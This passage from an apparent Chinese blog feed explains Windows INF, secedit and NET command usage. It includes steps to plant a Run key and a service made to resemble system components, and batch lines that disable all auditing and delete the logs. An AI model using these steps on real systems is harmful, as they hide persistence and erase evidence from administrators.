urrentVersion\Run,KAVRun<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;将它写入c:\path\reg.inf然后用下面这个命令"安装"：<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;rundll32.exe&nbsp;setupapi,InstallHinfSection&nbsp;DefaultInstall&nbsp;128&nbsp;c:\path\reg.inf<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;几点说明：<BR>&nbsp;&nbsp;1，[Version]和[DefaultInstall]是必须的，AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。<BR>&nbsp;&nbsp;0x00010001表示REG_DWORD数据类型，0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。<BR>&nbsp;&nbsp;2323也可以用0x913代替。<BR>&nbsp;&nbsp;关于inf文件的详细信息，可以参考DDK帮助文档。<BR>&nbsp;&nbsp;2，InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号，没有空格。<BR>&nbsp;&nbsp;128表示给定路径，该参数其他取值及含义参见MSDN。<BR>&nbsp;&nbsp;特别注意，最后一个参数，必须是inf文件的全路径，不要用相对路径。<BR>&nbsp;&nbsp;3，inf文件中的项目都是大小写不敏感的。<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;接下来说服务。如果想启动或停止服务，用net命令就可以。但想增加或删除服务，需要用SC，instsrv.exe，xnet.exe等工具。而这些工具系统没有自带（XP和2003自带SC)。导入注册表虽然可以，但效果不好，原因后面会提到。还是得靠inf文件出马。<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;增加一个服务：<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;[Version]<BR>&nbsp;&nbsp;Signature="$WINDOWS&nbsp;NT$"<BR>&nbsp;&nbsp;[DefaultInstall.Services]<BR>&nbsp;&nbsp;AddService=inetsvr,,My_AddService_Name<BR>&nbsp;&nbsp;[My_AddService_Name]<BR>&nbsp;&nbsp;DisplayName=Windows&nbsp;Internet&nbsp;Service<BR>&nbsp;&nbsp;Description=提供对&nbsp;Internet&nbsp;信息服务管理的支持。<BR>&nbsp;&nbsp;ServiceType=0x10<BR>&nbsp;&nbsp;StartType=2<BR>&nbsp;&nbsp;ErrorControl=0<BR>&nbsp;&nbsp;ServiceBinary=%11%\inetsvr.exe<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;保存为inetsvr.inf，然后：<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;rundll32.exe&nbsp;setupapi,InstallHinfSection&nbsp;DefaultInstall&nbsp;128&nbsp;c:\path\inetsvr.inf<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;这个例子增加一个名为inetsvr的服务（是不是很像系统自带的服务，呵呵）。<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;几点说明：<BR>&nbsp;&nbsp;1，最后四项分别是<BR>&nbsp;&nbsp;服务类型：0x10为独立进程服务，0x20为共享进程服务（比如svchost）；<BR>&nbsp;&nbsp;启动类型：0&nbsp;系统引导时加载，1&nbsp;OS初始化时加载，2&nbsp;由SCM（服务控制管理器）自动启动，3&nbsp;手动启动，4&nbsp;禁用。<BR>&nbsp;&nbsp;（注意，0和1只能用于驱动程序）<BR>&nbsp;&nbsp;错误控制：0&nbsp;忽略，1&nbsp;继续并警告，2&nbsp;切换到LastKnownGood的设置，3&nbsp;蓝屏。<BR>&nbsp;&nbsp;服务程序位置：%11%表示system32目录，%10%表示系统目录(WINNT或Windows)，%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量，直接使用全路径。<BR>&nbsp;&nbsp;这四项是必须要有的。<BR>&nbsp;&nbsp;2，除例子中的六个项目，还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。<BR>&nbsp;&nbsp;3，inetsvr后面有两个逗号，因为中间省略了一个不常用的参数flags。<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;删除一个服务：<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;[Version]<BR>&nbsp;&nbsp;Signature="$WINDOWS&nbsp;NT$"<BR>&nbsp;&nbsp;[DefaultInstall.Services]<BR>&nbsp;&nbsp;DelService=inetsvr<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;很简单，不是吗？<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;当然，你也可以通过导入注册表达到目的。但inf自有其优势。<BR>&nbsp;&nbsp;1，导出一个系统自带服务的注册表项，你会发现其执行路径是这样的：<BR>&nbsp;&nbsp;"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\<BR>&nbsp;&nbsp;74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\<BR>&nbsp;&nbsp;00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00<BR>&nbsp;&nbsp;可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe，但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时，这样定义ImagePath显然很不方便。如果用REG_SZ代替会有些问题——不能用环境变量了。即只能使用完整路径。用inf文件完全没有这个问题，ServiceBinary（即ImagePath）自动成为REG_EXPAND_SZ。<BR>&nbsp;&nbsp;2，最关键的是，和用SC等工具一样，inf文件的效果是即时起效的，而导入reg后必须重启才有效。<BR>&nbsp;&nbsp;3，inf文件会自动为服务的注册表项添加一个Security子键，使它看起来更像系统自带的服务。<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;另外，AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;最后说说组策略。组策略是建立Windows安全环境的重要手段，尤其是在Windows域环境下。一个出色的系统管理员，应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc，命令行下用secedit.exe。<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;先看secedit命令语法：<BR>&nbsp;&nbsp;secedit&nbsp;/analyze<BR>&nbsp;&nbsp;secedit&nbsp;/configure<BR>&nbsp;&nbsp;secedit&nbsp;/export&nbsp;<BR>&nbsp;&nbsp;secedit&nbsp;/validate<BR>&nbsp;&nbsp;secedit&nbsp;/refreshpolicy&nbsp;<BR>&nbsp;&nbsp;5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中secedit&nbsp;/refreshpolicy&nbsp;在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;与访问注册表只需reg文件不同的是，访问组策略除了要有个模板文件(还是inf)，还需要一个安全数据库文件(sdb)。要修改组策略，必须先将模板导入安全数据库，再通过应用安全数据库来刷新组策略。来看个例子：<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;假设我要将密码长度最小值设置为6，并启用"密码必须符合复杂性要求"，那么先写这么一个模板：<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;[version]<BR>&nbsp;&nbsp;signature="$CHICAGO$"<BR>&nbsp;&nbsp;[System&nbsp;Access]<BR>&nbsp;&nbsp;MinimumPasswordLength&nbsp;=&nbsp;6<BR>&nbsp;&nbsp;PasswordComplexity&nbsp;=&nbsp;1<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;保存为gp.inf，然后导入：<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;secedit&nbsp;/configure&nbsp;/db&nbsp;gp.sdb&nbsp;/cfg&nbsp;gp.inf&nbsp;/quiet<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;这个命令执行完成后，将在当前目录产生一个gp.sdb，它是"中间产品"，你可以删除它。<BR>&nbsp;&nbsp;/quiet参数表示"安静模式"，不产生日志。但根据我的试验，在2000sp4下该参数似乎不起作用，XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如：<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;secedit&nbsp;/configure&nbsp;/db&nbsp;gp.sdb&nbsp;/cfg&nbsp;gp.inf&nbsp;/log&nbsp;gp.log<BR>&nbsp;&nbsp;del&nbsp;gp.*<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;另外，在导入模板前，还可以先分析语法是否正确：<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;secedit&nbsp;/validate&nbsp;gp.inf<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;那么，如何知道具体的语法呢？当然到MSDN里找啦。也有偷懒的办法，因为系统自带了一些安全模板，在%windir%\security\templates目录下。打开这些模板，基本上包含了常用的安全设置语法，一看就懂。<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;再举个例子——关闭所有的"审核策略"。（它所审核的事件将记录在事件查看器的"安全性"里）。<BR>&nbsp;&nbsp;echo版：<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;echo&nbsp;[version]&nbsp;&gt;1.inf<BR>&nbsp;&nbsp;echo&nbsp;signature="$CHICAGO$"&nbsp;&gt;&gt;1.inf<BR>&nbsp;&nbsp;echo&nbsp;[Event&nbsp;Audit]&nbsp;&gt;&gt;1.inf<BR>&nbsp;&nbsp;echo&nbsp;AuditSystemEvents=0&nbsp;&gt;&gt;1.inf<BR>&nbsp;&nbsp;echo&nbsp;AuditObjectAccess=0&nbsp;&gt;&gt;1.inf<BR>&nbsp;&nbsp;echo&nbsp;AuditPrivilegeUse=0&nbsp;&gt;&gt;1.inf<BR>&nbsp;&nbsp;echo&nbsp;AuditPolicyChange=0&nbsp;&gt;&gt;1.inf<BR>&nbsp;&nbsp;echo&nbsp;AuditAccountManage=0&nbsp;&gt;&gt;1.inf<BR>&nbsp;&nbsp;echo&nbsp;AuditProcessTracking=0&nbsp;&gt;&gt;1.inf<BR>&nbsp;&nbsp;echo&nbsp;AuditDSAccess=0&nbsp;&gt;&gt;1.inf<BR>&nbsp;&nbsp;echo&nbsp;AuditAccountLogon=0&nbsp;&gt;&gt;1.inf<BR>&nbsp;&nbsp;echo&nbsp;AuditLogonEvents=0&nbsp;&gt;&gt;1.inf<BR>&nbsp;&nbsp;secedit&nbsp;/configure&nbsp;/db&nbsp;1.sdb&nbsp;/cfg&nbsp;1.inf&nbsp;/log&nbsp;1.log&nbsp;/quiet<BR>&nbsp;&nbsp;del&nbsp;1.*<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;也许有人会说：组策略不是保存在注册表中吗，为什么不直接修改注册表？因为不是所有的组策略都保存在注册表中。比如"审核策略"就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有"管理模板"这一部分是完全基于注册表的。而且，知道了具体位置，用哪个方法都不复杂。<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;比如，XP和2003的"本地策略"－》"安全选项"增加了一个"本地帐户的共享和安全模式"策略。XP下默认的设置是"仅来宾"。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为"经典"：<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;echo&nbsp;Windows&nbsp;Registry&nbsp;Editor&nbsp;Version&nbsp;5.00&nbsp;&gt;1.reg<BR>&nbsp;&nbsp;echo&nbsp;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]&nbsp;&gt;&gt;1.reg<BR>&nbsp;&nbsp;echo&nbsp;"forceguest"=dword:00000000&nbsp;&gt;&gt;1.reg<BR>&nbsp;&nbsp;regedit&nbsp;/s&nbsp;1.reg<BR>&nbsp;&nbsp;del&nbsp;1.reg<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;而相应的用inf，应该是：<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;echo&nbsp;[version]&nbsp;&gt;1.inf<BR>&nbsp;&nbsp;echo&nbsp;signature="$CHICAGO$"&nbsp;&gt;&gt;1.inf<BR>&nbsp;&nbsp;echo&nbsp;[Registry&nbsp;Values]&nbsp;&gt;&gt;1.inf<BR>&nbsp;&nbsp;echo&nbsp;MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0&nbsp;&gt;&gt;1.inf<BR>&nbsp;&nbsp;secedit&nbsp;/configure&nbsp;/db&nbsp;1.sdb&nbsp;/cfg&nbsp;1.inf&nbsp;/log&nbsp;1.log<BR>&nbsp;&nbsp;del&nbsp;1.*<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;关于命令行下读取组策略的问题。<BR>&nbsp;&nbsp;系统默认的安全数据库位于%windir%\security\database\secedit.sdb，将它导出至inf文件：<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;secedit&nbsp;/export&nbsp;/cfg&nbsp;gp.inf&nbsp;/log&nbsp;1.log<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;不过，这样得到的只是组策略的一部分（即"Windows设置"）。而且，某个策略如果未配置，是不会被导出的。比如"重命名系统管理员帐户"，只有被定义了才会在inf文件中出现NewAdministratorName="xxx"。对于无法导出的其他的组策略只有通过访问注册表来获得了。<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;此办法在XP和2003下无效——可以导出但内容基本是空的。原因不明。根据官方的资料，XP和2003显示组策略用RSoP（组策略结果集）。相应的命令行工具是gpresult。但是，它获得的是在系统启动时被附加（来自域）的组策略，单机测试结果还是"空"。所以，如果想知道某些组策略是否被设置，只有先写一个inf，再用secedit&nbsp;/analyze，然后查看日志了。<img src ="http://www.blogjava.net/kenneth/aggbug/11795.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kenneth/" target="_blank">Kenneth Blog</a> 2005-09-02 00:16 <a href="http://www.blogjava.net/kenneth/archive/2005/09/02/11795.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>NET命令的基本用法</title><link>http://www.blogjava.net/kenneth/archive/2005/09/01/11733.html</link><dc:creator>Kenneth Blog</dc:creator><author>Kenneth Blog</author><pubDate>Thu, 01 Sep 2005 04:43:00 GMT</pubDate><guid>http://www.blogjava.net/kenneth/archive/2005/09/01/11733.html</guid><wfw:comment>http://www.blogjava.net/kenneth/comments/11733.html</wfw:comment><comments>http://www.blogjava.net/kenneth/archive/2005/09/01/11733.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kenneth/comments/commentRss/11733.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kenneth/services/trackbacks/11733.html</trackback:ping><description><![CDATA[综合了WINDOWS 98，WINDOWS WORKSTATION和WINDOWS SERVER 三个操作系统关于NET命令的解释，希望可以全面一些。 <BR>先说一些： <BR><BR>(1)NET命令是一个命令行命令。 <BR><BR>(2)管理网络环境、服务、用户、登陆。。。。等本地信息 <BR><BR>(3)WIN 98，WIN WORKSTATION和WIN NT都内置了NET命令。 <BR><BR>(4)但WIN 98的NET命令和WORKSTATION、NT的NET命令不同。 <BR><BR>(5)WORKSTATION和SERVER中的NET命令基本相同。 <BR><BR>(6)获得HELP <BR><BR>　　(1)在NT下可以用图形的方式，开始-》帮助-》索引-》输入NET <BR><BR>　　(2)在COMMAND下可以用字符方式，NET /?或NET或NET HELP得到一些方法 相应的方法的帮助NETCOMMAND /HELP或NET HELP COMMAND 或NET COMMAND /? 另对于错误NET HELPMSG MESSAGE#是4位数 <BR><BR>(7)强制参数 所有net命令接受选项/yes和/no(可缩写为/y和/n)。[简单的说就是预先给系统的 提问一个答案] <BR><BR>(8)有一些命令是马上产生作用并永久保存的，使用的时候要慎重 <BR><BR>(9)对于NET命令的功能都可以找到相应的图形工具的解决方案 <BR><BR>(10)命令的组成 命令 参数 选项 | 参数 选项 | 参数 选项 |。。。。。。 瘰疬罗嗦说了一大堆，其实就是6和7有用，呵呵 另有两件事： <BR><BR>　　(1)在NT的NET命令中有一些参数是只有在SERVER环境中才能使用的 <BR><BR>　　(2)在WIN98的NET命令中有一些参数不能在DOS-WIN中使用，只能在DOS环境中使用 <BR><BR>下面对NET命令的不同参数的基本用法做一些初步的介绍： <BR><BR>(1)NET VIEW <BR><BR>作 用：显示域列表、计算机列表或指定计算机的共享资源列表。 <BR><BR>命令格式：net view [\\computername | /domain[:domainname]] <BR><BR>参数介绍： <BR><BR>　　(1)键入不带参数的net view显示当前域的计算机列表。 <BR><BR>　　(2)\\computername 指定要查看其共享资源的计算机。 <BR><BR>　　(3)/domain[:domainname]指定要查看其可用计算机的域。 <BR><BR>简单事例： <BR><BR>　　(1)net view \\YFANG查看YFANG的共享资源列表。 <BR><BR>　　(2)net view /domain:LOVE查看LOVE域中的机器列表。 <BR><BR>(2)NET USER <BR><BR>作 用：添加或更改用户帐号或显示用户帐号信息。该命令也可以写为 net users。 <BR><BR>命令格式：net user [username [password | *] [options]] [/domain] <BR><BR>参数介绍： <BR><BR>　　(1)键入不带参数的net user查看计算机上的用户帐号列表。 <BR><BR>　　(2)username添加、删除、更改或查看用户帐号名。 <BR><BR>　　(3)password为用户帐号分配或更改密码。 <BR><BR>　　(4)*提示输入密码。 <BR><BR>　　(5)/domain在计算机主域的主域控制器中执行操作。 <BR><BR>简单事例： <BR><BR>　　(1)net user yfang查看用户YFANG的信息 <BR><BR>(3)NET USE <BR><BR>作 用：连接计算机或断开计算机与共享资源的连接，或显示计算机的连接信息。 <BR><BR>命令格式：net use [devicename | *] [\\computername\sharename[\volume]] [password | *]] [/user:[domainname\]username] [[/delete] | [/persistent:{yes | no}]] <BR><BR>参数介绍： <BR><BR>　　键入不带参数的net use列出网络连接。 <BR><BR>　　devicename指定要连接到的资源名称或要断开的设备名称。 <BR><BR>　　\\computername\sharename服务器及共享资源的名称。 <BR><BR>　　password访问共享资源的密码。 <BR><BR>　　*提示键入密码。 <BR><BR>　　/user指定进行连接的另外一个用户。 <BR><BR>　　domainname指定另一个域。 <BR><BR>　　username指定登录的用户名。 <BR><BR>　　/home将用户连接到其宿主目录。 <BR><BR>　　/delete取消指定网络连接。 <BR><BR>　　/persistent控制永久网络连接的使用。 <BR><BR>简单事例： <BR><BR>　　(1)net use e: \\YFANG\TEMP将\\YFANG\TEMP目录建立为E盘 <BR><BR>　　(2)net use e: \\YFANG\TEMP /delete断开连接 <BR><BR>(4)NET TIME <BR><BR>作 用：使计算机的时钟与另一台计算机或域的时间同步。 <BR><BR>命令格式：net time [\\computername | /domain[:name]] [/set] <BR><BR>参数介绍： <BR><BR>　　(1)\\computername要检查或同步的服务器名。 <BR><BR>　　(2)/domain[:name]指定要与其时间同步的域。 <BR><BR>　　(3)/set使本计算机时钟与指定计算机或域的时钟同步。 <BR><BR>下面的这4个参数是相关的，所以一起介绍 <BR><BR>(5)Net Start <BR><BR>作 用：启动服务，或显示已启动服务的列表。 <BR><BR>命令格式：net start service <BR><BR>(6)Net Pause <BR><BR>作 用：暂停正在运行的服务。 <BR><BR>命令格式：net pause service <BR><BR>(7)Net Continue <BR><BR>作 用：重新激活挂起的服务。 <BR><BR>命令格式：net continue service 　　 <BR><BR>(8)NET STOP <BR><BR>作 用：停止 Windows NT 网络服务。 <BR><BR>命令格式：net stop service <BR><BR>参数介绍：我们来看看这些服务都是什么 <BR><BR>　　(1)alerter(警报) <BR><BR>　　(2)client service for netware(Netware 客户端服务) <BR><BR>　　(3)clipbook server(剪贴簿服务器) <BR><BR>　　(4)computer browser(计算机浏览器) <BR><BR>　　(5)directory replicator(目录复制器) <BR><BR>　　(6)ftp publishing service (ftp )(ftp 发行服务) <BR><BR>　　(7)lpdsvc <BR><BR>　　(8)net logon(网络登录) <BR><BR>　　(9)network dde(网络 dde) <BR><BR>　　(10)network dde dsdm(网络 dde dsdm) <BR><BR>　　(11)network monitor agent(网络监控代理) <BR><BR>　　(12)nt lm security support provider(NT LM 安全性支持提供) <BR><BR>　　(13)ole(对象链接与嵌入) <BR><BR>　　(14)remote access connection manager(远程访问连接管理器) <BR><BR>　　(15)remote access isnsap service(远程访问 isnsap 服务) <BR><BR>　　(16)remote access server(远程访问服务器) <BR><BR>　　(17)remote procedure call (rpc) locator(远程过程调用定位器) <BR><BR>　　(18)remote procedure call (rpc) service(远程过程调用服务) <BR><BR>　　(19)schedule(调度) <BR><BR>　　(20)server(服务器) <BR><BR>　　(21)simple tcp/ip services(简单 TCP/IP 服务) <BR><BR>　　(22)snmp <BR><BR>　　(23)spooler(后台打印程序) <BR><BR>　　(24)tcp/ip netbios helper(TCP/IP NETBIOS 辅助工具) <BR><BR>　　(25)ups <BR><BR>　　(26)workstation(工作站) <BR><BR>　　(27)messenger(信使) <BR><BR>　　(28)dhcp client <BR><BR>　　(29)eventlog 以下这些SERVICE只能在NT SERVER上使用 <BR><BR>　　　　(1)file server for macintosh <BR><BR>　　　　(2)gateway service for netware <BR><BR>　　　　(3)microsoft dhcp server <BR><BR>　　　　(4)print server for macintosh <BR><BR>　　　　(5)remoteboot <BR><BR>　　　　(6)windows internet name service <BR><BR>(9)Net Statistics <BR><BR>作 用：显示本地工作站或服务器服务的统计记录。 <BR><BR>命令格式：net statistics [workstation | server] <BR><BR>参数介绍： <BR><BR>　　(1)键入不带参数的net statistics列出其统计信息可用的运行服务。 <BR><BR>　　(2)workstation显示本地工作站服务的统计信息。 <BR><BR>　　(3)server显示本地服务器服务的统计信息。 <BR><BR>简单事例： <BR><BR>　　(1)net statistics server | more显示服务器服务的统计信息 <BR><BR>(10)Net Share <BR><BR>作 用：创建、删除或显示共享资源。 <BR><BR>命令格式：net share sharename=drive:path [/users:number | /unlimited] [/remark:"text"] <BR><BR>参数介绍： <BR><BR>　　(1)键入不带参数的net share显示本地计算机上所有共享资源的信息。 <BR><BR>　　(2)sharename是共享资源的网络名称。 <BR><BR>　　(3)drive:path指定共享目录的绝对路径。 <BR><BR>　　(4)/users:number设置可同时访问共享资源的最大用户数。 <BR><BR>　　(5)/unlimited不限制同时访问共享资源的用户数。 <BR><BR>　　(6)/remark:"text "添加关于资源的注释，注释文字用引号引住。 <BR><BR>简单事例： <BR><BR>　　(1)net share mylove=c:\temp /remark:"my first share"以mylove为共享名共享C:\temp <BR><BR>　　(2)net share mylove /delete停止共享mylove目录 <BR><BR>(11)Net Session <BR><BR>作 用：列出或断开本地计算机和与之连接的客户端的会话，也可以写为net sessions或net sess。 <BR><BR>命令格式：net session [\\computername] [/delete] <BR><BR>参数介绍： <BR><BR>　　(1)键入不带参数的net session显示所有与本地计算机的会话的信息。 <BR><BR>　　(2)\\computername标识要列出或断开会话的计算机。 <BR><BR>　　(3)/delete结束与\\computername计算机会话并关闭本次会话期间计算机的所有? 蚩?募?? <BR><BR>简单事例： <BR><BR>　　(1)net session \\YFANG要显示计算机名为YFANG的客户端会话信息列表。 <BR><BR>(12)Net Send <BR><BR>作 用：向网络的其他用户、计算机或通信名发送消息。 <BR><BR>命令格式：net send {name | * | /domain[:name] | /users} message <BR><BR>参数介绍： <BR><BR>　　(1)name要接收发送消息的用户名、计算机名或通信名。 <BR><BR>　　(2)*将消息发送到组中所有名称。 <BR><BR>　　(3)/domain[:name]将消息发送到计算机域中的所有名称。 <BR><BR>　　(4)/users将消息发送到与服务器连接的所有用户。 <BR><BR>　　(5)message作为消息发送的文本。 <BR><BR>简单事例： <BR><BR>　　(1)net send /users server will shutdown in 5 minutes.给所有连接到服务器的用户发送消息 <BR><BR>(13)Net Print <BR><BR>作 用：显示或控制打印作业及打印队列。 <BR><BR>命令格式：net print [\\computername ] job# [/hold | /release | /delete] <BR><BR>参数介绍： <BR><BR>　　(1)computername共享打印机队列的计算机名。 <BR><BR>　　(2)sharename打印队列名称。 <BR><BR>　　(3)job#在打印机队列中分配给打印作业的标识号。 <BR><BR>　　(4)/hold使用 job# 时，在打印机队列中使打印作业等待。 <BR><BR>　　(5)/release释放保留的打印作业。 <BR><BR>　　(6)/delete从打印机队列中删除打印作业。 <BR><BR>简单事例： <BR><BR>　　(1)net print \\YFANG\SEEME列出\\YFANG计算机上SEEME打印机队列的目录 <BR><BR>(14)Net Name <BR><BR>作 用：添加或删除消息名（有时也称别名），或显示计算机接收消息的名称列表。 <BR><BR>命令格式：net name [name [/add | /delete]] <BR><BR>参数介绍： <BR><BR>　　(1)键入不带参数的net name列出当前使用的名称。 <BR><BR>　　(2)name指定接收消息的名称。 <BR><BR>　　(3)/add将名称添加到计算机中。 <BR><BR>　　(4)/delete从计算机中删除名称。 <BR><BR>(15)Net Localgroup <BR><BR>作 用：添加、显示或更改本地组。 <BR><BR>命令格式：net localgroup groupname {/add [/comment:"text "] | /delete} [/domain] <BR><BR>参数介绍： <BR><BR>　　(1)键入不带参数的net localgroup显示服务器名称和计算机的本地组名称。 <BR><BR>　　(2)groupname要添加、扩充或删除的本地组名称。 <BR><BR>　　(3)/comment: "text "为新建或现有组添加注释。 <BR><BR>　　(4)/domain在当前域的主域控制器中执行操作，否则仅在本地计算机上执行操作? <BR><BR>　　(5)name [ ...]列出要添加到本地组或从本地组中删除的一个或多个用户名或组名。 <BR><BR>　　(6)/add将全局组名或用户名添加到本地组中。 <BR><BR>　　(7)/delete从本地组中删除组名或用户名。 <BR><BR>简单事例： <BR><BR>　　(1)net localgroup love /add将名为love的本地组添加到本地用户帐号数据库 <BR><BR>　　(2)net localgroup love显示love本地组中的用户 <BR><BR>(16)Net Group <BR><BR>作 用：在 Windows NT Server 域中添加、显示或更改全局组。 <BR><BR>命令格式：net group groupname {/add [/comment:"text "] | /delete} [/domain] <BR><BR>参数介绍： <BR><BR>　　(1)键入不带参数的net group显示服务器名称及服务器的组名称。 <BR><BR>　　(2)groupname要添加、扩展或删除的组。 <BR><BR>　　(3)/comment:"text "为新建组或现有组添加注释。 <BR>(4)/domain在当前域的主域控制器中执行该操作，否则在本地计算机上执行操作? ? <BR><BR>　　(5)username[ ...]列表显示要添加到组或从组中删除的一个或多个用户。 <BR><BR>　　(6)/add添加组或在组中添加用户名。 <BR><BR>　　(7)/delete删除组或从组中删除用户名。 <BR><BR>简单事例： <BR><BR>　　(1)net group love yfang1 yfang2 /add将现有用户帐号yfang1和yfang2添加到本地计算机的love组 <BR><BR>(17)Net File <BR><BR>作 用：显示某服务器上所有打开的共享文件名及锁定文件数。 <BR><BR>命令格式：net file [id [/close]] <BR><BR>参数介绍： <BR><BR>　　(1)键入不带参数的net file获得服务器上打开文件的列表。 <BR><BR>　　(2)id文件标识号。 <BR><BR>　　(3)/close关闭打开的文件并释放锁定记录。 <BR><BR>(18)Net Config <BR><BR>作 用：显示当前运行的可配置服务，或显示并更改某项服务的设置。 <BR><BR>命令格式：net config [service [options]] <BR><BR>参数介绍： <BR><BR>　　(1)键入不带参数的net config显示可配置服务的列表。 <BR><BR>　　(2)service通过net config命令进行配置的服务(server或workstation) <BR><BR>　　(3)options服务的特定选项。 <BR><BR>(19)Net Computer <BR><BR>作 用：从域数据库中添加或删除计算机。 <BR><BR>命令格式：net computer \\computername {/add | /del} <BR><BR>参数介绍： <BR><BR>　　(1)\\computername指定要添加到域或从域中删除的计算机。 <BR><BR>　　(2)/add将指定计算机添加到域。 <BR><BR>　　(3)/del将指定计算机从域中删除。 <BR><BR>简单事例： <BR><BR>　　(1)net computer \\cc /add将计算机 cc 添加到登录域 <BR><BR>(20)Net Accounts <BR><BR>作 用：更新用户帐号数据库、更改密码及所有帐号的登录要求。 <BR><BR>命令格式：net accounts [/forcelogoff:{minutes | no}] [/minpwlen:length] [/maxpwage:{days | unlimited}] [/minpwage:days] [/uniquepw:number] [/domain] <BR><BR>参数介绍： <BR><BR>　　(1)键入不带参数的net accounts显示当前密码设置、登录时限及域信息。 <BR><BR>　　(2)/forcelogoff:{minutes | no}设置当用户帐号或有效登录时间过期时 <BR><BR>　　(3)/minpwlen:length设置用户帐号密码的最少字符数。 <BR><BR>　　(4)/maxpwage:{days | unlimited}设置用户帐号密码有效的最大天数。 <BR><BR>　　(5)/minpwage:days设置用户必须保持原密码的最小天数。 <BR><BR>　　(6)/uniquepw:number要求用户更改密码时，必须在经过number次后才能重复使用 与之相同的密码。 <BR><BR>　　(7)/domain在当前域的主域控制器上执行该操作。 <BR><BR>　　(8)/sync当用于主域控制器时，该命令使域中所有备份域控制器同步 <BR><BR>简单事例： <BR><BR>　　(1)net accounts /minpwlen:7将用户帐号密码的最少字符数设置为7 <BR><BR>----------------------上面介绍的是NET命令在WINNT下的基本用法 <BR><BR>----------------------下面我们看看NET命令在WIN98下的基本用法 <BR><BR>在WIN98中NET命令也有一些参数的名字和功能及简单的使用方法和WINNT下的相应的参数的用法相同 <BR><BR>其中有 <BR><BR>　　(1)NET TIME命令 <BR><BR>　　(2)NET PRINT命令 <BR><BR>　　(3)NET USE命令 <BR><BR>　　(4)NET VIEW命令 <BR><BR>在WIN98中NET命令有一些参数的名字和WINNT下的相应的参数的名字相同，但其用法却有些不同 <BR><BR>其中有 <BR><BR>(1)NET START <BR><BR>作 用：启动相应的服务。(不能在DOS-WIN中用) <BR><BR>命令格式：NET START [BASIC | NWREDIR | WORKSTATION | NETBIND | NETBEUI | NWLINK] [/LIST] [/YES] [/VERBOSE] <BR><BR>(2)NET STOP <BR><BR>作 用：停止相应的服务.(不能在DOS-WIN中用) <BR><BR>命令格式：NET STOP [BASIC | NWREDIR | WORKSTATION | NETBEUI | NWLINK] [/YES] <BR><BR>在WIN98中NET命令还有一些参数是在98下才有的 <BR><BR>其中有 <BR><BR>(1)NET DIAG <BR><BR>作 用：运行MS的DIAGNOSTICS程序显示网络的DIAGNOSTIC信息 <BR><BR>命令格式：NET DIAGNOSTICS [/NAMES | /STATUS] 